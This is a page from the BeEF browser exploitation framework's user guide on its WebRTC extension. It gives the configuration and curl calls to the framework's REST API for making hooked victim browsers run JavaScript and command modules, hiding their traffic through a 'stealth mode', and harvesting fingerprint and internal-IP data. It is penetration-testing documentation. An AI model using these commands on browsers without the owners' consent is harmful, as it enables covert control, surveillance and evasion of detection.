Table of Contents
Introduction
WebRTC stands for Web Realtime Communications and allows for peer-to-peer communications between two web browsers. The code for the WebRTC Extension can be found here.
By default, BeEF uses XMLHttpRequest objects to poll to your BeEF server every 5 seconds. The logic is in the updater.js file of the core BeEF JavaScript client. It executes a setTimeout() function call that executes beef.updater.get_commands(), requesting the hook.js file from the BeEF server.
BeEF has options to use the WebSocket protocol as well, which shifts the comms from a polling mechanism to a more bi-directional streaming method of sending and receiving data between the server and browsers.
The problem with both the hook polling and WebSocket communication is exposure of the BeEF server. Not only does the IP address of the BeEF server get exposed over the network, the communications are visible in the "Network" tabs of browser developer tools. This increases the risk of the experienced user realizing that their browser is hooked.
Configuration
To enable WebRTC, simply change enable to true in the config.yaml file.
beef:
extension:
webrtc:
name: 'WebRTC'
enable: false
authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
# stunservers: '["stun:stun.l.google.com:19302"]'
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
Utilization
WebRTC can be used to retrieve the internal (behind NAT) IP address of the victim machine, using the peer-to-peer connection framework. This command can be found under the host module folder.
Console Usage
When this extension was written, the console module was still usable and supported. Unfortunately, this is no longer the case.
see https://blog.beefproject.com/2015/01/hooked-browser-meshed-networks-with_26.html for console usage examples.
Rest API Usage
Get WebRTC Status of a Hooked Browser
GET /api/webrtc/status/:id
Request
for getting the status of id 1:
curl http://localhost:3000/api/webrtc/status/1?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Response
{"success":true}
this means WebRTC is available for that session.
Initiating WebRTC Between Two Hooked Browsers
POST /api/webrtc/go
Request This initiates WebRTC communication between browsers 1 and 2.
curl -d '{"from":1,"to":2}' \
http://localhost:3000/api/webrtc/go?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Response
{"success":true}
Sending Messages
Request This sends a message between browsers 1 and 2.
curl -d '{"from":1, "to":2, "message":"Just a plain message"}' \
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Response
{"success":true}
Sending javascript to Execute
The built in message handler for executing javascript is %<code>, sent just like a normal message.
This sends a message from browser 1 to 2 to execute a piece of JavaScript:
Request
curl -d '{"from":1, "to":2, "message":"%alert(\"hello\");"}' \
-H "Content-type: application/json; charset=UTF-8" \
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Stealth Mode
Stealth mode is also sent as a message between two browsers. The to browser will be put into stealth mode, tunneling its communication with the BeEF server through the from browser.
Going into Stealth Mode
Request
This puts browser 2 into stealth mode (it stops communicating with the BeEF server)
curl -d '{"from":1, "to":2, "message":"!gostealth"}' \
-H "Content-type: application/json; charset=UTF-8" \
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Getting out of Stealth Mode
Request
curl -d '{"from":1, "to":2, "message":"!endstealth"}' \
-H "Content-type: application/json; charset=UTF-8" \
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Executing Modules Through WebRTC
Request
Tell browser 2 (without communicating with the BeEF server) to execute command 102 through browser 1
the name is the name of the option, and value is the corresponding option value.
curl -d '{"from":1, "to":2, "cmdid":102, "options":[{"name":"Domain","value":"default_all"}]}' \
-H "Content-type: application/json; charset=UTF-8" \
http://127.0.0.1:3000/api/webrtc/cmdexec?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
The result will be displayed in the BeEF terminal output, and stored in the command events of the from browser.
Getting Event Data from a Browser
GET /api/webrtc/cmdevents/:id
Request
Get all events on browser 1
curl http://127.0.0.1:3000/api/webrtc/cmdevents/1?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
Response
{"events_count":1,"events":[{"id":1,"hb_id":1,"target_id":2,"status":"fingerprint=223c40dcd69ee362dcf478a80d34bbe8&components=[{\"key\":\"userAgent\",\"value\":\"Mozill...(snipped)
the results of command execution are stored in the
frombrowser. In this case, all command results from browser 2 are accessible through requesting events on browser 1.
For further information about the extension, please see the example RestAPI usage in
<beef_root>/extensions/webrtc/rest/webrtc.rb
I - Starting BeEF
II - Basic Utilization
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK
III - Advanced Utilization
IV - Development
- Contributing
- ActiveRecord
- Development Organization
- Architecture
- BeEF Javascript API
- Step By Step Module Creation
- Creating a New Extension
- BeEF Testing
- Browser & OS Compatibility
- Database Schema
- Development Milestones
- Command Module Config
- Command Module API
V - References
User Guide
I. Introduction | II. Basic Utilization | III. Advanced Utilization | IV. Development | V. References
